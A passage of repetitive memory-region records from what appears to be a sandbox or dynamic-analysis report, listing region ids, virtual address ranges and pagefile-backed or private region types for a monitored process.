entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13128 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13129 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13130 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13131 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13132 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13133 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13134 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13135 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13136 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13137 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13138 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13139 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13140 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13141 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13142 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13143 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13144 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13145 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13146 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13147 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13148 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13149 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13150 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13151 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13152 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13153 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13154 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13155 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13156 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13157 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13158 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13159 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13160 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13161 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13162 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13163 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13164 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13165 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13166 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13167 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13168 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13169 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13170 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13171 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13172 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13173 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13174 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13175 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13176 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13177 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13178 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13179 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13180 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13181 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13182 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13183 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13184 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13185 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13186 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13187 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13188 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13189 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13190 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13191 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13192 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13193 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13194 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13195 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13196 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13197 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13198 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13199 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13200 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13201 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13202 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13203 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13204 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13205 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13206 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13207 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13208 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13209 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13210 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13211 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13212 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13213 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13214 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13215 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13216 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13217 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13218 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13219 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13220 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13221 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13222 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13223 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13224 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13225 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13226 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13227 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13228 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13229 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13230 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13231 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13232 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13233 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13234 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13235 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13236 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13237 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13238 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13239 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13240 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13241 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13242 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13243 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13244 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13245 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13246 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13247 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13248 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13249 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13250 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13251 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13252 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13253 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13254 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13255 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13256 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13257 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13258 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13259 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13260 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13261 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13262 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13263 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13264 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13265 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13266 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13267 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13268 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13269 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13270 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13271 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13272 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13273 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13274 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13275 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13276 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13277 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13278 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13279 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13281 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13282 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13283 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13285 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13286 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13287 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13289 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13290 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13291 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13293 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13294 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13295 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13296 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13297 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13298 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13299 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13300 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13301 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13302 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13303 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13304 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13305 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13306 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13307 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13308 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13309 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13310 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13311 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13312 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13313 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 